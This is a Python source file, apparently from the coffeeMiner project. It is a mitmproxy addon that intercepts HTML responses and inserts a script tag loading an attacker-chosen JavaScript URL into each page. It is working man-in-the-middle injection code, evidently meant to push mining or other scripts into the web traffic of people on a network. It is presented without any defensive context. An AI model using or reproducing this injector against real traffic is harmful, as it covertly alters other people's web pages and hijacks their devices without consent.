coffeeMiner/injector.py
injector.pyRaw
1# Usage: mitmdump -s "js_injector.py src"
2# (this script works best with --anticache)
3from bs4 import BeautifulSoup
4from mitmproxy import ctx, http
5import argparse
6
7class Injector:
8 '''
9 def load(self, loader):
10 loader.add_option(
11 "scr_url", str, "", "script_url to inject"
12 )
13 '''
14 def __init__(self, path):
15 self.path = path
16
17 def response(self, flow: http.HTTPFlow) -> None:
18 #print("hola hola hola")
19 #print(self.path)
20
21 if self.path:
22 html = BeautifulSoup(flow.response.content, "html.parser")
23 print(self.path)
24 print(flow.response.headers["content-type"])
25 if flow.response.headers["content-type"] == 'text/html':
26 print("uuuuuu")
27 print(flow.response.headers["content-type"])
28 print("asdf asdf asdf asdf asdf")
29 print("-----")
30 print("mmmmm")
31 script = html.new_tag(
32 "script",
33 src=self.path,
34 type='application/javascript')
35 html.body.insert(0, script)
36 flow.response.content = str(html).encode("utf8")
37 print("Script injected.")
38
39def start():
40 parser = argparse.ArgumentParser()
41 parser.add_argument("path", type=str)
42 args = parser.parse_args()
43 return Injector(args.path)
44
45#addons = [Injector()]